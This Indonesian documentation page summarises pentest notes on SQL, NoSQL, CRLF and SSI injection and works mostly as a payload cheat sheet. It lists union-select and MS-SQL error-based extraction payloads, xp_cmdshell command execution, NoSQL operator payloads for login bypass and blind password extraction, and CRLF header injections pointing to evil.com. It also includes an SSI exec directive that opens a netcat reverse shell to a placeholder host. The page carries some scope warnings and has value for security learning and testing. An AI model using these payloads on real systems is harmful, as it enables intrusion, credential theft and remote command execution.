Lompat ke konten
dokumentasi.id
Commit 0a16c9d
v2
Star6,9 rb

4

Injeksi Query dan Header

Empat catatan di halaman ini berangkat dari titik yang sama, yaitu input pengguna, lalu berpisah ke dua muara. Pada SQL Injection.md dan NoSQL Injection.md input menjadi bagian query database SQL Injection.md:4-6 NoSQL Injection.md:3-4. Pada CRLF Injection.md dan Server Side Include Injection.md input menjadi bagian header respons atau direktif yang dieksekusi web server CRLF Injection.md:3-4 Server Side Include Injection.md:3-4. Keempat berkas memakai kerangka Introduction, Where to find, dan How to exploit seperti catatan lain di repository, lihat Arsitektur Repositori dan Konvensi Catatan.

BerkasTitik temuanMuara payloadBentuk akhir catatan
SQL Injection.md"Everywhere" SQL Injection.md:16-17query databaseperintah OS lewat xp_cmdshell SQL Injection.md:158-162
NoSQL Injection.mdtanpa bagian Where to find, langsung How to Exploitquery dokumen NoSQLekstraksi karakter blind NoSQL Injection.md:62-86
CRLF Injection.mdparameter yang memicu redirect 301, 302, 303, 307, 308 CRLF Injection.md:6-7header responsLocation dan Set-Cookie sisipan CRLF Injection.md:9-21
Server Side Include Injection.mdform dan parameter GET Server Side Include Injection.md:6-7direktif SSI di bodyreverse shell lewat exec cmd Server Side Include Injection.md:25-28

Jalur payload dari input ke muara

Diagram berikut menyatukan keempat jalur. Dua jalur berakhir di query database, dua jalur lain berakhir di header atau body respons.

sequenceDiagram
    autonumber
    actor A as Attacker
    participant P as Parameter input
    participant S as Aplikasi
    participant Q as Query database
    participant R as Header dan body respons

    A->>P: kutip, operator $ne, %0D%0A, direktif SSI
    P->>S: request
    alt Injeksi query
        S->>Q: query tanpa sanitasi
        Q-->>S: error atau baris data
        S-->>A: versi, nama tabel, isi kolom
    else Injeksi header dan body
        S->>R: header atau direktif yang memuat payload
        R-->>A: Set-Cookie dan Location baru, hasil direktif
    end
    Note over Q,R: Sumber payload sama, muara berbeda
%% fig: Jalur payload injeksi query dan header
%% desc: Input dari parameter berakhir di query database atau di header dan body respons, bergantung pada jenis injeksinya.
Fig. 1: Jalur payload injeksi query dan headerInput dari parameter berakhir di query database atau di header dan body respons, bergantung pada jenis injeksinya.

SQL Injection: dari uji kutip ke perintah shell

Catatan membagi SQLi menjadi in-band, error-based, union-based, blind, dan out-of-band SQL Injection.md:8-14; urutan uji di bawah mengikuti jalur in-band. Semuanya dimulai dari satu tanda kutip pada parameter GET ?id=5' SQL Injection.md:26-30. Jika respons berubah, jumlah kolom dihitung dengan menaikkan order by 1, order by 2, order by 3 sampai error berhenti SQL Injection.md:34-42. Jumlah itu dipakai pada union select: MySQL memakai 1, 2, 3, PostgreSQL memakai NULL, NULL, NULL, dan kolom yang tercetak menandai posisi injectable SQL Injection.md:47-55.

graph TD
    A["Kutip pada parameter GET"] --> B["order by n sampai error berhenti"]
    B --> C["union select sejumlah kolom"]
    C --> D["version, database, current_user"]
    D --> E["information_schema: schemata, tabel, kolom"]
    E --> F["concat kredensial dari tabel users"]
    F --> G["CAST error based pada MS-SQL"]
    G --> H["EXEC master..xp_cmdshell"]
    style A fill:#2d7d46,color:#fff
    style B fill:#2d7d46,color:#fff
    style C fill:#f59e0b,color:#000
    style D fill:#8b5cf6,color:#fff
    style E fill:#8b5cf6,color:#fff
    style F fill:#8b5cf6,color:#fff
    style G fill:#8b5cf6,color:#fff
    style H fill:#dc2626,color:#fff
%% fig: Tangga eskalasi SQL Injection
%% desc: Uji kutip dan hitung kolom membuka pembacaan metadata, lalu berlanjut ke ekstraksi data dan eksekusi perintah.
Fig. 2: Tangga eskalasi SQL InjectionUji kutip dan hitung kolom membuka pembacaan metadata, lalu berlanjut ke ekstraksi data dan eksekusi perintah.
Data yang dicariPayloadRujukan
versi DBMSunion select 1, 2, version() atau union select NULL, NULL, version()SQL Injection.md:60-63
nama databaseunion select 1,2, database()SQL Injection.md:66-70
user yang sedang loginunion select 1, 2, current_user()SQL Injection.md:73-75
daftar databaseschema_name from information_schema.schemata atau datname from pg_databaseSQL Injection.md:78-82
nama tabeltable_name from information_schema.tables where table_schema="database_name"SQL Injection.md:85-89
nama kolomcolumn_name from information_schema.columnsSQL Injection.md:92-96
kredensial gabunganconcat(login,':',password) pada MySQL, penyambungan dengan operator `

Bila tidak ada kolom yang tercetak, catatan menyediakan jalur error-based untuk MS-SQL. Nilai dibaca dengan memaksa CAST ke varchar(4096): CAST(user_name() as varchar(4096)) untuk user aktif SQL Injection.md:111-115 dan CAST(@@version as varchar(4096)) untuk versi SQL Injection.md:118-120. Nama database diuji lewat db_name(0)=0 SQL Injection.md:123-125. Daftar tabel diambil dari sysobjects dengan xtype='U', dan setiap iterasi menambah NOT IN agar baris sebelumnya tidak terulang SQL Injection.md:128-134. Daftar kolom memakai join syscolumns dan sysobjects dengan pola NOT IN yang sama SQL Injection.md:137-145. Isi baris diambil dengan SELECT TOP 1 CAST(columnName as varchar(4096)) SQL Injection.md:148-155.

⚠️ Dua payload terakhir mengubah keadaan server. EXEC master..xp_cmdshell hanya berjalan bila user database adalah sa SQL Injection.md:158-162, dan mengaktifkannya menuntut RECONFIGURE lewat sp_configure SQL Injection.md:164-166. Baris itu ditulis apa adanya di catatan dengan sp_congigure, jadi periksa ulang sebelum dipakai.

NoSQL Injection: operator sebagai payload

NoSQL memberi batasan konsistensi yang lebih longgar, tetapi tetap bisa diinjeksi walau tanpa sintaks SQL NoSQL Injection.md:3-4. Payload dikirim sebagai operator pada parameter: username[$ne]=toto&password[$ne]=toto NoSQL Injection.md:7-17, yang setara dengan {"username": {"$ne": null}, "password": {"$ne": null}} NoSQL Injection.md:19-25.

TujuanPayloadRujukan
bypass otentikasilogin[$regex]=a.*&pass[$ne]=lol, login[$gt]=admin&login[$lt]=test&pass[$ne]=1, login[$nin][]=admin&login[$nin][]=test&pass[$ne]=totoNoSQL Injection.md:7-17
ukur panjang nilaipassword[$regex]=.{1}, password[$regex]=.{3}NoSQL Injection.md:27-32
ekstraksi karakterpassword[$regex]=m.{2} lalu md.{1} lalu mdpNoSQL Injection.md:34-49
cocokkan kandidat user{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}NoSQL Injection.md:51-55
jalankan fungsi PHP"user":{"$func": "var_dump"}NoSQL Injection.md:57-60
uji buta berbasis waktu'%2bsleep(1)%2b'NoSQL Injection.md:111-114

Skrip blind di catatan memutar string.printable untuk satu posisi karakter setiap iterasi. Versi POST mengirim {"username": {"$eq": "%s"}, "password": {"$regex": "^%s"}} dan menambah karakter ketika 'OK' in r.text or r.status_code == 302 NoSQL Injection.md:62-86. Versi GET mengirim ?username=%s&password[$regex]=^%s dan menandai kecocokan lewat 'Yeah' in r.text NoSQL Injection.md:88-109.

stateDiagram-v2
    [*] --> Kandidat
    Kandidat --> Request: password + c
    Request --> Cocok: OK in r.text atau status_code 302
    Request --> Kandidat: tidak cocok
    Cocok --> Tersimpan: password += c
    Tersimpan --> Kandidat
    Kandidat --> [*]: string.printable habis
    style Kandidat fill:#f59e0b,color:#000
    style Request fill:#336791,color:#fff
    style Cocok fill:#2d7d46,color:#fff
    style Tersimpan fill:#8b5cf6,color:#fff
%% fig: Loop ekstraksi blind NoSQL
%% desc: Setiap karakter kandidat diuji lewat request, dan hanya respons yang cocok memperpanjang password yang sudah ditemukan.
Fig. 3: Loop ekstraksi blind NoSQLSetiap karakter kandidat diuji lewat request, dan hanya respons yang cocok memperpanjang password yang sudah ditemukan.

Daftar payload MongoDB menyertai skrip itu, misalnya $where: '1 == 1', {$gt: ''}, dan [$ne]=1 NoSQL Injection.md:116-136. Sebagian payload di daftar menulis ke database, misalnya db.injection.insert({success:1}) NoSQL Injection.md:127-128.

⚠️ db.injection.insert membuat dokumen baru di database target. Jangan kirim seluruh blok daftar itu sekaligus ke target nyata; pilih satu payload per uji.

Untuk enumerasi otomatis, catatan hanya menautkan NoSQLmap NoSQL Injection.md:138-139.

CRLF Injection: menyisipkan header

CRLF Injection terjadi saat pengguna berhasil mengirim karakter CR dan LF ke aplikasi, paling sering lewat parameter HTTP atau URL CRLF Injection.md:3-4. Titik temuan yang disarankan adalah parameter yang memicu redirect, dengan respons 301, 302, 303, 307, atau 308 CRLF Injection.md:6-7. Payload ?lang=en%0D%0ALocation:%20https://evil.com/ membuat respons tetap HTTP/1.1 200 OK tetapi memuat Set-Cookie: language=en diikuti Location: https://evil.com/ CRLF Injection.md:9-21.

Tingkat encodingPenandaRujukan
langsung%0D%0ACRLF Injection.md:9-21
double encode%250D%250ACRLF Injection.md:23-26
unicode%E5%98%8A%E5%98%8DCRLF Injection.md:28-31

Dua varian terakhir dipakai saat aplikasi atau WAF menormalkan %0D%0A. Payload ?lang=en%250D%250ALocation:%20https://evil.com/ mengenkode ulang penanda CRLF Injection.md:23-26, sedangkan ?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/ memakai pasangan unicode sebagai pengganti CRLF CRLF Injection.md:28-31.

Header Location di catatan hanya contoh; yang menentukan adalah header sisipan muncul di respons. Pengubahan header Host pada request adalah topik terpisah di Kontrol Akses dan Request Server Side, sedangkan lanjutan response splitting ke eksekusi skrip di klien dibahas di Kerentanan Sisi Klien dan Pengalihan URL.

SSI Injection: direktif yang dieksekusi server

SSI Injection muncul ketika data dari pengguna dipakai sebagai bagian direktif Server Side Include Server Side Include Injection.md:3-4. Catatan menyarankan menyisipkan payload pada form atau parameter GET Server Side Include Injection.md:6-7.

TujuanDirektifRujukan
cetak waktu server<!--#echo var="DATE_LOCAL" -->Server Side Include Injection.md:9-13
cetak semua variabel<!--#printenv -->Server Side Include Injection.md:15-18
sertakan berkas<!--#include file="includefile.html" -->Server Side Include Injection.md:20-23

Langkah keempat di catatan sudah mengarah ke eksekusi perintah, bukan lagi pembacaan data Server Side Include Injection.md:25-28:

<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

⚠️ Direktif itu membuat named pipe di /tmp/foo, membuka koneksi balik ke IP PORT, lalu menghapus pipe lewat rm. Jangan dijalankan di luar scope yang diizinkan, dan ingat exec hanya berfungsi bila SSI diaktifkan pada web server target.

Pembacaan berkas lokal dan penyertaan berkas remote lewat parameter lain dibahas di Penanganan Berkas dan Pengungkapan Kode Sumber.

Batas akhir tiap jalur

Keempat catatan berhenti di titik yang berbeda. SQL Injection bisa mencapai perintah OS, tetapi bergantung pada hak akses sa SQL Injection.md:158-162. NoSQL Injection berhenti pada ekstraksi data, dengan $func sebagai jalan tambahan ke fungsi PHP NoSQL Injection.md:57-60. CRLF Injection hanya mengubah header respons, dan status respons bisa tetap 200 OK meski injeksi berhasil CRLF Injection.md:9-21. SSI Injection berjalan paling jauh ketika printenv dan include tidak lagi cukup, yaitu pada direktif exec Server Side Include Injection.md:25-28.